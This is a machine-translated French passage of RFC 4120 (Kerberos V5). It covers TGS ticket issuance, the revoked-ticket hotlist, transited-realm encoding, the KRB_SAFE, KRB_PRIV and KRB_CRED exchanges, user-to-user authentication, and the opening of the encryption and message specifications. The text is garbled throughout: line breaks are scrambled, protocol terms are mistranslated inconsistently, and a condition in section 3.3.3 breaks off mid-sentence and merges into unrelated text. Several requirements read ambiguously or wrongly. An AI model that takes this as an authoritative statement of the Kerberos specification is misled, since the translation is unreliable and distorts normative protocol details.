Si la demande spécifie une heure de fin, l’heure de fin de la nouvelle

ticket est défini au minimum de (a) cette demande, (b) l'heure de fin
du TGT, et c) l’heure de début du TGT plus le minimum de
la durée de vie maximale du serveur d'applications et la durée de vie
maximale de
domaine local (la durée de vie maximale du donneur d'ordre était de
déjà appliqué au moment de l’émission du TGT). Si le nouveau billet doit
être
un renouvellement, alors le temps de fin ci-dessus est remplacé par le
minimum de (a)
la valeur du champ renew_till du ticket et (b) l'heure de début
pour le nouveau ticket plus la vie (endtime-starttime) de l'ancien
billet.

Si l' option FORW ARDED a été demandée, le ticket résultant

contiendra les adresses spécifiées par le client. Cette option sera
être honoré que si le drapeau FORWARDABLE est défini dans le TGT. Le
mandataire
l'option est similaire; le ticket résultant contiendra les adresses

Neuman et al. Normes Track [Page 38]

RFC 4120 Kerberos V5 juillet 2005

 spécifié par le client. Il ne sera honoré que si le PROXIABLE
le drapeau dans le TGT est défini. L'option PROXY ne sera pas honorée
sur
demandes de TGT supplémentaires.

Si l'heure de début demandée est absente, indique une heure passée,

ou est dans la fenêtre de décalage d'horloge acceptable pour le KDC et
le
L’option POSTDATE n’a pas été spécifiée, puis l’heure de début de la
ticket est défini sur l'heure actuelle du serveur d'authentification. Si
ça
indique une heure future au-delà du décalage d'horloge acceptable, mais
l'option POSTDATED n'a pas été spécifiée ou l'indicateur MAY-POSTDATE
n'est pas défini dans le TGT, l'erreur KDC_ERR_CANNOT_POSTDATE est alors
revenu. Sinon, si l’indicateur MAY-POSTDATE est défini sur le TGT, alors
le ticket résultant sera postdaté et l'heure de début demandée
est comparé à la politique du royaume local. Si acceptable, le
L'heure de début du ticket est définie comme demandé et l'indicateur
INVALID est défini.
Le billet postdaté DOIT être validé avant utilisation en le présentant
au
le KDC une fois l'heure de début atteinte. Cependant, en aucun cas
peut l'heure de début, l'heure de fin ou l'heure de renouvellement d'une
nouvelle publication
Le billet postdaté s’étend au-delà de la date de renouvellement du TGT.

Si l’option ENC-TKT-IN-SKEY a été spécifiée et une option supplémentaire

ticket a été inclus dans la demande, il indique que le client
utilise l'authentification d'utilisateur à utilisateur pour prouver son
identité à un
serveur qui n'a pas accès à une clé persistante. Section 3.7
décrit l’effet de cette option sur l’ensemble du protocole Kerberos.
Lors de la génération du message KRB_TGS_REP, cette option dans le
Le message KRB_TGS_REQ indique au KDC de déchiffrer le ticket
supplémentaire
en utilisant la clé du serveur sur lequel le ticket supplémentaire était
délivré et de vérifier qu’il s’agit d’un TGT. Si le nom de la demande
serveur est absent de la demande, le nom du client dans le répertoire
billet supplémentaire sera utilisé. Sinon, le nom de la requête
Le serveur sera comparé au nom du client dans la liste supplémentaire.
billet. Si c'est différent, la demande sera rejetée. Si la
demande réussit, la clé de session du ticket supplémentaire sera
utilisé pour chiffrer le nouveau ticket émis au lieu d'utiliser le
clé du serveur pour lequel le nouveau ticket sera utilisé.

Si (a) le nom du serveur dans le ticket qui est présenté à la

Le KDC dans l'en-tête d'authentification n'est pas celui du TGS
lui-même, (b) le serveur est enregistré dans le royaume du KDC, et (c)
Si l'option RENOUVELER est demandée, le KDC vérifiera que le
L'indicateur RENOUVELABLE est défini dans le ticket, l'indicateur
INVALID n'est pas défini.
dans le ticket et que le temps de renouvellement est toujours dans le
futur.
Si l'option VALIDATE est demandée, le KDC vérifiera que le
starttime est passé et que l'indicateur INVALID est défini. Si le
mandataire
Si l'option est demandée, le KDC vérifiera que l'indicateur PROXIABLE
Neuman et al. Norme Track [Page 39]

RFC 4120 Kerberos V5 juillet 2005

est défini dans le billet. Si les tests réussissent et que le ticket

passe le
vérification de la hotlist décrite dans la section suivante, le KDC
émettra la
nouveau billet approprié.

La partie texte chiffré de la réponse dans le message KRB_TGS_REP est

chiffré dans la clé de sous-session de l'authentificateur, le cas
échéant,
ou dans la clé de session du TGT. Il n'est pas crypté à l'aide de la
clé secrète du client. En outre, la date d'expiration de la clé du
client
et les champs du numéro de version clé sont omis puisque ces valeurs
sont
stocké avec l'enregistrement de base de données du client, et cet
enregistrement est
pas nécessaire pour satisfaire une demande basée sur un TGT.

3.3.3.1. Vérification des billets révoqués

Chaque fois qu'une demande est faite au serveur d'octroi de tickets, le

le (s) ticket (s) présenté (s) est (sont) comparé (s) à une hot-liste de
billets
qui ont été annulés. Cette liste de choix peut être mise en œuvre par
stocker une plage d'horodatages d'émission pour les «tickets suspects»;
si un
Le ticket présenté avait une heure d'authentification dans cette plage,
il serait rejeté.
De cette manière, un ticket TGT ou renouvelable volé ne peut pas être
utilisé pour gagner
billets supplémentaires (renouvellements ou autres) une fois le vol
effectué
rapporté au KDC pour le domaine dans lequel le serveur réside. Tout
ticket normal obtenu avant que le vol ait été signalé sera toujours
valides (car les billets ne nécessitent aucune interaction avec le KDC),
mais uniquement
jusqu'à son heure d'expiration normale. Si des TGT ont été émis pour
l’authentification inter-domaines, l’utilisation du TGT inter-domaines
ne sera pas
affecté à moins que la liste dynamique ne soit propagée aux KDC pour les
royaumes
pour lesquels de tels billets transfrontaliers ont été émis.

3.3.3.2. Encodage du champ en transit

Si l’identité du serveur dans le TGT présenté au KDC

dans l'en-tête d'authentification est celui de l'attribution de ticket
service, mais le TGT a été publié dans un autre domaine, le KDC
examinera
la clé inter-domaine partagée avec ce royaume et utiliser cette clé pour
décrypter le billet. Si le billet est valide, le KDC honorera
la demande, sous réserve des contraintes décrites ci-dessus dans la
section
décrivant l'échange AS. Le royaume fait partie de l'identité du client
 sera pris à partir du TGT. Le nom du royaume qui a publié le
TGT, si ce n’est pas le domaine du client principal, sera ajouté à
le champ transité du ticket à émettre. Ceci est accompli
en lisant le champ transité du TGT (qui est traité comme un
ensemble non ordonné de noms de domaines), en ajoutant le nouveau
royaume à l’ensemble, et
puis en construisant et en écrivant sa forme codée (sténographie) (cette
peut impliquer un réarrangement du codage existant).

Notez que le service d’attribution de tickets n’ajoute pas le nom de son

propre royaume. Au lieu de cela, sa responsabilité consiste à ajouter le
nom du

Neuman et al. Norme Track [Page 40]

RFC 4120 Kerberos V5 juillet 2005

royaume précédent. Cela empêche un serveur Kerberos malveillant de

intentionnellement en laissant de côté son propre nom (il peut toutefois
omettre d’autres
noms de royaumes).

Les noms ni du domaine local ni du domaine du principal ne doivent être

être inclus dans le champ transité. Ils apparaissent ailleurs dans le
billet et les deux sont connus pour avoir pris part à l'authentification
de la
principal. Comme les terminaux ne sont pas inclus, les utilisateurs
locaux et
authentification inter-domaines à un seul saut dans un champ transité
c'est vide.

Parce que ce champ a le nom de chaque royaume transité ajouté,

cela pourrait potentiellement être très long. Pour diminuer la longueur
de cette
champ, son contenu est codé. Le codage initialement pris en charge est
optimisé pour le cas normal de la communication inter-domaines: un
arrangement hiérarchique des royaumes utilisant le style domain ou X.500
noms de domaine. Ce codage (appelé DOMAIN-X500-COMPRESS) est maintenant
décrit.

Les noms de domaine dans le champ transité sont séparés par un ",". Le
",",
"\", le caractère de fin "." et les espaces de début ("") sont des
caractères spéciaux,
et s’ils font partie d’un nom de domaine, ils DOIVENT être cités dans la
parcouru en les précédant d’un "\".

Un nom de domaine se terminant par un "." est interprété comme étant

préparé à
le royaume précédent. Par exemple, nous pouvons coder la traversée de
EDU,
MIT.EDU, ATHENA.MIT.EDU, WASHINGTON.EDU et CS.WASHINGTON.EDU en tant
que:

"EDU, MIT., ATHENA., WASHINGTON.EDU, CS.".

Notez que si ATHENA.MIT.EDU ou CS.WASHINGTON.EDU étaient

 points finaux, ils ne seraient pas inclus dans ce domaine, et nous le
ferions
avoir:

"EDU, MIT., WASHINGTON.EDU"

Un nom de domaine commençant par "/" est interprété comme étant ajouté à
le royaume précédent. Aux fins de l'ajout, le royaume
précédant le premier domaine répertorié est considéré comme le domaine
nul ("").
Si un nom de domaine commençant par "/" doit être autonome, alors il
DEVRAIT être précédé d'un espace (""). Par exemple, nous pouvons encoder
parcours de / COM / HP / APOLLO, / COM / HP, / COM et / COM / DEC en
tant que:

"/ COM, / HP, / APOLLO, / COM / DEC".

Comme dans l'exemple ci-dessus, si / COM / HP / APOLLO et / COM / DEC

étaient
points finaux, ils ne seraient pas inclus dans ce domaine, et nous le
ferions
avoir:

Neuman et al. Norme Track [Page 41]

RFC 4120 Kerberos V5 juillet 2005

"/ COM, / HP"

Un sous-champ null précédant ou suivant un "," indique que tous

royaumes entre le royaume précédent et le royaume suivant ont été
traversé. Pour interpréter les sous-champs nuls, le
le domaine du client est considéré comme précédant ceux du domaine en
transit,
et on considère que le royaume du serveur les suit. Ainsi, "," signifie
que tous les royaumes situés le long du chemin entre le client et le
serveur ont
été traversé. ", EDU, / COM" signifie que tous les royaumes de la
domaine du client jusqu'à EDU (dans une hiérarchie de style de domaine)
ont été
traversé, et que tout depuis / COM jusqu'au royaume du serveur
dans un style X.500 a également été traversé. Cela pourrait se produire
si le
Le domaine EDU dans une hiérarchie partage une clé inter-domaine
directement avec
le domaine / COM dans une autre hiérarchie.

3.3.4. Réception du message KRB_TGS_REP

Lorsque KRB_TGS_REP est reçu par le client, il est traité dans

de la même manière que le traitement KRB_AS_REP décrit ci-dessus. le
La principale différence est que la partie chiffrée de la réponse doit
être déchiffré à l'aide de la clé de sous-session de l'authentificateur,
si
a été spécifié dans la demande, ou la clé de session du TGT, plutôt que
que la clé secrète du client. Le nom du serveur renvoyé dans la réponse
est le vrai nom principal du service.
3.4. L'échange KRB_SAFE

Le message KRB_SAFE PEUT être utilisé par les clients nécessitant la

capacité de
détecter les modifications des messages échangés. Il y parvient en
comprenant une somme de contrôle sécurisée par collision des données de
l'utilisateur et certaines
informations de contrôle. La somme de contrôle est saisie avec une clé
de cryptage
(généralement la dernière clé négociée via des sous-clés, ou la clé de
session si
aucune négociation n'a eu lieu).

3.4.1. Génération d'un message KRB_SAFE

Lorsqu'une application souhaite envoyer un message KRB_SAFE, elle

collecte
ses données et les informations de contrôle appropriées et calcule un
somme de contrôle sur eux. L’algorithme de somme de contrôle devrait
être la clé
somme de contrôle mandatée pour être mise en œuvre avec le système de
cryptage utilisé
pour la clé de sous-session ou de session. La somme de contrôle est
générée à l'aide de
la clé de sous-session, si présente, ou la clé de session. Certains
les implémentations utilisent un algorithme de somme de contrôle
différent pour KRB_SAFE
messages, mais le faire de manière interopérable n’est pas toujours
possible.

Les informations de contrôle du message KRB_SAFE comprennent à la fois

une
horodatage et un numéro de séquence. Le concepteur d'une application

Neuman et al. Piste de normes [Page 42]

RFC 4120 Kerberos V5 juillet 2005

l’utilisation du message KRB_SAFE DOIT choisir au moins l’un des deux

mécanismes. Ce choix DEVRAIT être fondé sur les besoins du
protocole d'application.

Les numéros de séquence sont utiles lorsque tous les messages envoyés
seront reçus
par son pair. L’état de la connexion est actuellement requis pour
maintenir
la clé de session, le maintien du numéro de séquence suivant ne doit
donc pas
présenter un problème supplémentaire.

Si le protocole d'application doit tolérer les messages perdus

sans leur être renvoyé, l’utilisation de l’horodatage est la
mécanisme de détection de rejeu approprié. Utiliser les horodatages est
aussi la
mécanisme approprié pour les protocoles multi-diffusion dans lesquels
tous
les pairs partagent une clé de sous-session commune, mais certains
messages seront envoyés
 à un sous-ensemble de ses pairs.

Après avoir calculé la somme de contrôle, le client transmet ensuite le

information et somme de contrôle au destinataire dans le format du
message
spécifié à la section 5.6.1.

3.4.2. Réception du message KRB_SAFE

Lorsqu'une application reçoit un message KRB_SAFE, elle le vérifie en

tant que
suit. Si une erreur survient, un code d'erreur est signalé pour
utilisation par
L'application.

Le message est d'abord vérifié en vérifiant que la version du protocole

et les champs de type correspondent à la version actuelle et à KRB_SAFE,
respectivement.
Une incompatibilité génère un KRB_AP_ERR_BADVERSION ou un
KRB_AP_ERR_MSG_TYPE
Erreur. L’application vérifie que la somme de contrôle utilisée est une
Somme de contrôle sécurisée par clé qui utilise des clés compatibles
avec le
sous-session ou clé de session selon le cas (ou avec l'application
clé dérivée des clés de session ou de sous-session). Si ce n'est pas le
cas, un
L'erreur KRB_AP_ERR_INAPP_CKSUM est générée. L'adresse de l'expéditeur
DOIT
être inclus dans les informations de contrôle; le destinataire vérifie
que
le rapport de l'adresse de l'expéditeur du système d'exploitation
correspond au
l'adresse de l'expéditeur dans le message, et (si l'adresse du
destinataire est
adresse spécifiée ou si le destinataire requiert une adresse)
L’adresse du destinataire apparaît en tant qu’adresse du destinataire
dans
message. Pour utiliser la traduction d’adresse réseau, les expéditeurs
PEUVENT utiliser
le type d'adresse directionnelle spécifié dans la section 8.1 pour
l'expéditeur
adresse et ne pas inclure les adresses des destinataires. Un match raté
pour
Dans les deux cas, une erreur KRB_AP_ERR_BADADDR est générée. Puis
l'horodatage
et les champs usec et / ou le numéro de séquence sont vérifiés. Si
l'horodatage
et usec sont attendus et non présents, ou s'ils sont présents mais non
En cours, l’erreur KRB_AP_ERR_SKEW est générée. Les horodatages ne sont
pas
doit être strictement commandé; ils doivent seulement être dans le
fenêtre oblique. Si le nom du serveur, avec le nom du client, heure,

Neuman et al. Piste de normes [Page 43]

RFC 4120 Kerberos V5 juillet 2005

 et les champs en microsecondes de l’Authenticator correspondent à ceux
récemment vus
(envoyés ou reçus) tels tuples, l’erreur KRB_AP_ERR_REPEAT est
généré. Si un numéro de séquence incorrect est inclus, ou si un
numéro de séquence attendu mais non présent, le KRB_AP_ERR_BADORDER
une erreur est générée. Si ni un horodatage et usec ni une séquence
nombre est présent, une erreur KRB_AP_ERR_MODIFIED est générée.
Enfin, la somme de contrôle est calculée sur les données et le contrôle
informations, et si elle ne correspond pas à la somme de contrôle reçue,
un
L'erreur KRB_AP_ERR_MODIFIED est générée.

Si tous les contrôles aboutissent, l’application est assurée que le

Le message a été généré par son homologue et n'a pas été modifié en
transit.

Les mises en œuvre DEVRAIENT accepter tout algorithme de somme de

contrôle qu'elles implémentent
qui a à la fois une sécurité adéquate et des clés compatibles avec le
sous-
clé de session ou de session. Les totaux de contrôle sans clé ni
protection contre les collisions sont
ne convient pas pour cet usage.

3.5 L'échange KRB_PRIV

Le message KRB_PRIV PEUT être utilisé par les clients qui exigent la
confidentialité.
et la capacité de détecter les modifications des messages échangés. Il
y parvient en chiffrant les messages et en ajoutant un contrôle
information.

3.5.1. Génération d'un message KRB_PRIV

Lorsqu'une application souhaite envoyer un message KRB_PRIV, elle

collecte
ses données et les informations de contrôle appropriées (spécifiées dans
Section 5.7.1) et les chiffre sous une clé de chiffrement (généralement
la
dernière clé négociée via des sous-clés, ou la clé de session si aucune
négociation
s'est produit). Dans le cadre des informations de contrôle, le client
DOIT
choisissez d'utiliser un horodatage ou un numéro de séquence (ou les
deux); voir
la discussion à la section 3.4.1 pour des lignes directrices à utiliser.
Une fois les données utilisateur et les informations de contrôle
cryptées, le client
transmet le texte chiffré et certaines informations "enveloppe" au
bénéficiaire.

3.5.2. Réception du message KRB_PRIV

Lorsqu'une application reçoit un message KRB_PRIV, elle le vérifie en

tant que
suit. Si une erreur survient, un code d'erreur est signalé pour
utilisation par
L'application.

Le message est d'abord vérifié en vérifiant que la version du protocole

 et les champs de type correspondent à la version actuelle et à KRB_PRIV,
respectivement.
Une incompatibilité génère un KRB_AP_ERR_BADVERSION ou un
KRB_AP_ERR_MSG_TYPE
Erreur. L’application décrypte ensuite le texte chiffré et la traite.

Neuman et al. Norme Track [Page 44]

RFC 4120 Kerberos V5 juillet 2005

le texte en clair résultant. Si le déchiffrement indique que les données

ont été
modifiée, une erreur KRB_AP_ERR_BAD_INTEGRITY est générée.

L'adresse de l'expéditeur DOIT être incluse dans les informations de

contrôle; la
destinataire vérifie que le rapport du système d'exploitation sur
l'expéditeur
adresse correspond à l'adresse de l'expéditeur dans le message. Si un
destinataire
adresse est spécifiée ou le destinataire requiert une adresse, puis une
des adresses du destinataire DOIT également apparaître en tant que celui
du destinataire.
adresse dans le message. Si l'adresse d'un expéditeur ou d'un
destinataire peut
ne correspond pas autrement à l'adresse dans un message en raison du
réseau
traduction d'adresse, une application PEUT être écrite pour utiliser des
adresses
du type d'adresse directionnelle à la place du réseau actuel
adresse.

Une correspondance ayant échoué pour l'un ou l'autre cas génère une
erreur KRB_AP_ERR_BADADDR.
Pour travailler avec la traduction d'adresses réseau, les
implémentations PEUVENT utiliser le
type d'adresse directionnelle défini à la section 7.1 pour l'expéditeur
adresse et ne pas inclure l'adresse du destinataire.

Ensuite, les champs timestamp et usec et / ou le numéro de séquence sont

vérifié. Si l'horodatage et l'utilisation sont attendus et non présents,
ou si
ils sont présents mais non actuels, l’erreur KRB_AP_ERR_SKEW est
généré. Si le nom du serveur, ainsi que le nom du client, l'heure et
Les champs de la microseconde de l’Authenticator correspondent à de tels
vu les tuples, l’erreur KRB_AP_ERR_REPEAT est générée. Si un
numéro de séquence incorrect est inclus, ou si un numéro de séquence est
attendu mais non présent, l'erreur KRB_AP_ERR_BADORDER est générée.
Si ni un horodatage et usec ni un numéro de séquence n’est présent, un
L'erreur KRB_AP_ERR_MODIFIED est générée.

Si toutes les vérifications aboutissent, l’application peut supposer que

le message a été envoyé.
généré par son homologue et transmis de manière sécurisée (sans
intrusion
voir le contenu non crypté).

3.6. L'échange KRB_CRED

 Le message KRB_CRED PEUT être utilisé par les clients nécessitant la
capacité de
envoyer les informations d'identification Kerberos d'un hôte à un autre.
Il y parvient
en envoyant les billets avec les données cryptées contenant le
clés de session et autres informations associées aux tickets.

3.6.1. Génération d'un message KRB_CRED

Lorsqu'une application souhaite envoyer un message KRB_CRED, elle

commence par
(en utilisant l’échange KRB_TGS) obtient les informations d’identité à
envoyer au
hôte distant. Il construit ensuite un message KRB_CRED en utilisant le
ticket
ou les billets ainsi obtenus, en plaçant la clé de session nécessaire
pour utiliser chaque

Neuman et al. Voie des normes [Page 45]

RFC 4120 Kerberos V5 juillet 2005

ticket dans le champ clé de la séquence KrbCredInfo correspondante de

la partie chiffrée du message KRB_CRED.

Autres informations associées à chaque billet et obtenues lors de la

L'échange KRB_TGS est également placé dans l'information KrbCredInfo
correspondante.
séquence dans la partie chiffrée du message KRB_CRED. Le courant
temps et, s'ils sont spécifiquement requis par la demande, le
les champs nonce, s-address et r-address sont placés dans le champ
crypté
partie du message KRB_CRED, qui est ensuite chiffré sous un
clé de chiffrement précédemment échangée dans l’échange KRB_AP
(généralement
la dernière clé négociée via des sous-clés, ou la clé de session si non
la négociation a eu lieu).

Note d’implémentation: lors de la construction d’un message KRB_CRED

pour
inclusion dans un jeton de contexte initial GSSAPI, la mise en œuvre du
MIT
Kerberos ne chiffrera pas le message KRB_CRED si la clé de session
est une touche DES ou triple DES. Pour l’interopérabilité avec le MIT,
le
L'implémentation Microsoft ne chiffrera pas le KRB_CRED dans une GSSAPI
jeton s'il utilise une clé de session DES. À partir de la version 1.2.5,
MIT Kerberos peut recevoir et décoder crypté ou non crypté
KRB_CRED dans l’échange GSSAPI. La mise en œuvre de Heimdal
de Kerberos peut également accepter KRB_CRED chiffré ou non chiffré
messages. Puisque le message KRB_CRED dans un jeton GSSAPI est crypté
dans l'authentificateur, le comportement du MIT ne présente pas de
sécurité
problème, bien que ce soit une violation de la spécification Kerberos.

3.6.2. Réception du message KRB_CRED

 Lorsqu'une application reçoit un message KRB_CRED, elle le vérifie. Si
si une erreur se produit, un code d'erreur est signalé pour utilisation
par le
application. Le message est vérifié en vérifiant que le protocole
les champs version et type correspondent à la version actuelle et à
KRB_CRED,
respectivement. Une incompatibilité génère une KRB_AP_ERR_BADVERSION ou
Erreur KRB_AP_ERR_MSG_TYPE. L’application décrypte ensuite le
texte chiffré et traite le texte en clair résultant. Si décryptage
indique que les données ont été modifiées, un KRB_AP_ERR_BAD_INTEGRITY
une erreur est générée.

S'il est présent ou requis, le destinataire PEUT vérifier que le

le rapport système de l'adresse de l'expéditeur correspond à l'adresse
de l'expéditeur
dans le message, et que l’une des adresses du destinataire apparaît sous
la forme
l'adresse du destinataire dans le message. La vérification d'adresse ne
fournir toute sécurité supplémentaire, puisque l'adresse, si présente, a
déjà été vérifié dans le message KRB_AP_REQ et il n’y en a pas
avantage qu'un attaquant peut tirer en reflétant un message KRB_CRED
Retour à son auteur. Ainsi, le destinataire PEUT ignorer l'adresse
même s'il est présent afin de mieux fonctionner en adresse réseau
Environnements de traduction (NAT). Une correspondance manquée pour l'un
ou l'autre cas

Neuman et al. Piste de normes [Page 46]

RFC 4120 Kerberos V5 juillet 2005

génère une erreur KRB_AP_ERR_BADADDR. Les destinataires PEUVENT passer

le
vérification d'adresse, car le message KRB_CRED ne peut généralement pas
être reflété
retour à l'origine. Les champs timestamp et usec (et le nonce
champ, si nécessaire) sont cochés ensuite. Si l’horodatage et l’usec
sont
non présents, ou s'ils sont présents mais non actuels, le
L'erreur KRB_AP_ERR_SKEW est générée.

Si tous les contrôles aboutissent, l’application enregistre chacun des

nouveaux
des tickets dans son cache d’identifiants avec la clé de session et
autres informations dans la séquence KrbCredInfo correspondante de la
partie chiffrée du message KRB_CRED.

3.7. Echanges d'authentification entre utilisateurs

L’authentification d’utilisateur à utilisateur fournit une méthode pour

effectuer
authentification lorsque le vérificateur n'a pas accès à long terme
clé de service. Cela peut être le cas lors de l’exécution d’un serveur
exemple, un serveur de fenêtres) en tant qu’utilisateur sur un poste de
travail. Dans ces cas,
le serveur peut avoir accès au TGT obtenu lorsque l'utilisateur est
connecté
 dans le poste de travail, mais parce que le serveur fonctionne en tant
que
utilisateur non privilégié, il peut ne pas avoir accès aux clés système.
Similaire
des situations peuvent survenir lors de l'exécution d'applications peer-
to-peer.

Résumé

Direction du message Type de message Sections

0. Message du serveur d'applications Non spécifié
1. Client vers Kerberos KRB_TGS_REQ 3.3 & 5.4.1
2. Kerberos au client KRB_TGS_REP ou 3.3 & 5.4.2
KRB_ERROR 5.9.1
3. Client vers serveur d'applications KRB_AP_REQ 3.2 & 5.5.1

Pour résoudre ce problème, le protocole Kerberos permet au client de

demander que le ticket émis par le KDC soit crypté à l'aide d'un
clé de session d’un TGT délivré à la partie qui vérifiera la
authentification. Ce TGT doit être obtenu auprès du vérificateur au
moyen de
d'un échange externe au protocole Kerberos, généralement dans le cadre
de
le protocole d'application. Ce message est affiché dans le résumé ci-
dessus
en tant que message 0. Notez que, parce que le TGT est crypté dans le
KDC
clé secrète, elle ne peut pas être utilisée pour l'authentification sans
possession
de la clé secrète correspondante. En outre, parce que le vérificateur
ne révèle pas la clé secrète correspondante, en fournissant une copie du
Le TGT du vérificateur ne permet pas l'emprunt d'identité du
vérificateur.

Le message 0 dans le tableau ci-dessus représente une application

spécifique
négociation entre le client et le serveur, à la fin duquel les deux
ont déterminé qu'ils utiliseraient l'authentification d'utilisateur à
utilisateur, et
le client a obtenu le TGT du serveur.

Neuman et al. Norme Track [Page 47]

RFC 4120 Kerberos V5 juillet 2005

Ensuite, le client inclut le TGT du serveur en tant que ticket

supplémentaire dans
sa demande KRB_TGS_REQ au KDC (message 1 du tableau ci-dessus) et
spécifie l'option ENC-TKT-IN-SKEY dans sa requête.

Si elle est validée conformément aux instructions de la section 3.3.3,

le
ticket d'application renvoyé au client (message 2 de la table
ci-dessus) seront chiffrés à l’aide de la clé de session du message
supplémentaire.
ticket et le client le notera lorsqu’il utilise ou stocke le
ticket d'application.
 Lorsque vous contactez le serveur à l'aide d'un ticket obtenu pour
utilisateur à utilisateur
authentification (message 3 dans le tableau ci-dessus), le client DOIT
spécifiez l'indicateur USE-SESSION-KEY dans le champ ap-options. Cela
raconte
le serveur d'applications à utiliser la clé de session associée à son
TGT
pour déchiffrer le ticket de serveur fourni dans la demande
d'application.

4. Spécifications de chiffrement et de somme de contrôle

Les protocoles Kerberos décrits dans ce document sont conçus pour:

chiffrer des messages de tailles arbitraires, en utilisant un
chiffrement par flux ou par bloc
les chiffrements. Le cryptage est utilisé pour prouver l'identité du
réseau
entités participant aux échanges de messages. La distribution des clés
Centre pour chaque domaine est approuvé par tous les principaux inscrits
dans ce
royaume pour stocker une clé secrète dans la confiance. Preuve de
connaissance de
cette clé secrète est utilisée pour vérifier l'authenticité d'un
commettant.

Le KDC utilise la clé secrète du principal (dans l’échange AS) ou un

clé de session partagée (dans l’échange TGS) pour chiffrer les réponses
aux
demandes de billets; la possibilité d'obtenir la clé secrète ou la clé
de session
implique la connaissance des clés appropriées et l'identité du
KDC. La capacité d'un principal à décrypter la réponse du KDC et à
présenter un billet et un authentificateur correctement formé (généré
avec
clé de session de la réponse du KDC) à un service vérifie la
identité du commettant; De même, la capacité du service à
extraire la clé de session du ticket et prouver ses connaissances
celui-ci dans une réponse vérifie l'identité du service.

[RFC3961] définit un cadre pour définir le chiffrement et la somme de

contrôle
mécanismes à utiliser avec Kerberos. Il définit également plusieurs de
ces
mécanismes, et d’autres pourront être ajoutés dans les futures mises à
jour de ce document.

L’opération chaîne à clé fournie par la [RFC3961] est utilisée pour

produire
une clé à long terme pour un principal (généralement pour un
utilisateur). Le défaut
La chaîne salt, si aucune donnée n'est fournie via les données de pré-
authentification, est la
concaténation des domaines du royaume et du nom du principal, dans
l'ordre,
sans séparateurs. Sauf indication contraire, la valeur par défaut
Le paramètre opaque chaîne à clé défini dans la [RFC3961] est utilisé.

Neuman et al. Voie des normes [Page 48]

RFC 4120 Kerberos V5 juillet 2005

Les données, clés et sommes de contrôle cryptées sont transmises à

l’aide du
Les objets de données EncryptedData, EncryptionKey et Checksum définis
dans
Section 5.2.9. Les opérations de chiffrement, de déchiffrement et de
somme de contrôle
décrits dans ce document utilisent le cryptage correspondant,
décryptage, et les opérations get_mic décrites dans [RFC3961], avec
génération implicite de "clé spécifique" à l'aide des valeurs
"d'utilisation de la clé"
spécifié dans la description de chaque objet EncryptedData ou Checksum
faire varier la clé pour chaque opération. Notez que dans certains cas,
le
La valeur à utiliser dépend de la méthode de choix de la clé ou
le contexte du message.

Les utilisations de clé sont des entiers 32 bits non signés; zéro n'est
pas autorisé. le
les valeurs d’utilisation des clés permettant de chiffrer ou de
contrôler les messages Kerberos sont:
indiqué à la section 5 avec les définitions de message. La clé
les valeurs d'utilisation 512-1023 sont réservées aux utilisations
internes à Kerberos
la mise en oeuvre. (Par exemple, semer un nombre pseudo-aléatoire
générateur avec une valeur produite en cryptant quelque chose avec un
clé de session et une valeur d’utilisation de la clé non utilisée à
d’autres fins.)
Les valeurs d’utilisation des clés comprises entre 1024 et 2047 (inclus)
sont réservées à
utilisation de l'application; les applications DEVRAIENT utiliser les
mêmes valeurs pour le cryptage
et des valeurs impaires pour les sommes de contrôle dans cette plage.
Les valeurs d'utilisation clés sont
également résumé dans un tableau à la section 7.5.1.

Il peut exister d’autres documents définissant les protocoles en termes

de
les types de chiffrement ou de somme de contrôle de la RFC 1510. Ces
documents
ne serait pas au courant des usages clés. Pour que ces spécifications
continuer à avoir un sens jusqu'à ce qu'ils soient mis à jour, s'il n'y
a pas d'utilisation de clé
les valeurs sont spécifiées, les utilisations de clé 1024 et 1025
doivent être utilisées pour
dériver des clés pour le cryptage et les sommes de contrôle,
respectivement. (Cela fait
ne s'applique pas aux protocoles qui effectuent leur propre chiffrement
indépendamment de
ce framework, en utilisant directement la clé issue de Kerberos
échange d'authentification.) Nouveaux protocoles définis en termes de
Les types de chiffrement et de somme de contrôle Kerberos DEVRAIENT
utiliser leur propre utilisation de clé
valeurs.

Sauf indication contraire, aucun chaînage d'états de chiffrement n'est

effectué
d'une opération de chiffrement à une autre.
 Note d’implémentation: Bien que cela ne soit pas recommandé, certaines
applications
protocoles continueront à utiliser les données clés directement, même si
spécifications de protocole existantes. Une implémentation
destiné à prendre en charge les applications générales Kerberos peut
donc nécessiter
rendre les données clés disponibles, ainsi que les attributs et les
opérations
décrit dans [RFC3961]. L’une des raisons les plus courantes pour
lesquelles des
effectuer le cryptage est un contrôle direct sur la négociation et
sélection d’un algorithme de chiffrement "suffisamment fort" (dans le
contexte d’une application donnée). Bien que Kerberos n’ait pas
directement
fournir une installation pour négocier les types de cryptage entre le

Neuman et al. Piste de normes [Page 49]

RFC 4120 Kerberos V5 juillet 2005

application client et serveur, il existe des approches pour utiliser

Kerberos pour faciliter cette négociation. Par exemple, un client peut
demande uniquement les types de clé de session "suffisamment forts" au
KDC et
s'attendre à ce que tout type renvoyé par le KDC soit compris et
pris en charge par le serveur d'applications.

5. Spécifications du message

L'ASN.1 collectée ici devrait être identique au contenu de

Annexe A. En cas de conflit, le contenu de l’annexe A
aura préséance.

Le protocole Kerberos est défini ici en termes de syntaxe abstraite.

Notation One (ASN.1) [X680], qui fournit une syntaxe pour spécifier
la disposition abstraite des messages de protocole ainsi que leur
encodages. Les développeurs qui n'utilisent pas un compilateur ASN.1
existant ou
Les bibliothèques de support sont priées de comprendre le format ASN.1
actuel.
spécification à fond afin d'assurer une mise en œuvre correcte
comportement. Il y a plus de complexité dans la notation que
immédiatement évidentes, et quelques tutoriels et guides sur ASN.1 sont
trompeuse ou erronée.

Notez que dans plusieurs endroits, les modifications apportées aux types
abstraits de la RFC 1510
ont été faites. Ceci est en partie pour répondre aux hypothèses
répandues
que différents développeurs ont fait, aboutissant dans certains cas à
violations non intentionnelles de la norme ASN.1. Ce sont clairement
signalés où ils se produisent. Les différences entre les types abstraits
dans la RFC 1510 et les types abstraits de ce document peuvent provoquer
codages incompatibles à émettre lorsque certaines règles de codage,
Par exemple, les règles d'encodage packé (PER) sont utilisées. Cette
théorie
 l’incompatibilité ne devrait pas être pertinente pour Kerberos, car
Kerberos
spécifie explicitement l'utilisation des règles de codage distinctives
(DER). Cela pourrait être un problème pour les protocoles cherchant à
utiliser Kerberos
types avec d'autres règles de codage. (Cette pratique n'est pas
recommandée.)
À de très rares exceptions près (notamment les usages de BIT STRING), le
les codages résultant de l'utilisation du DER restent identiques entre
les
types définis dans la RFC 1510 et les types définis dans ce document.

Les définitions de type dans cette section supposent un module ASN.1

définition de la forme suivante:

Neuman et al. Piste de normes [Page 50]

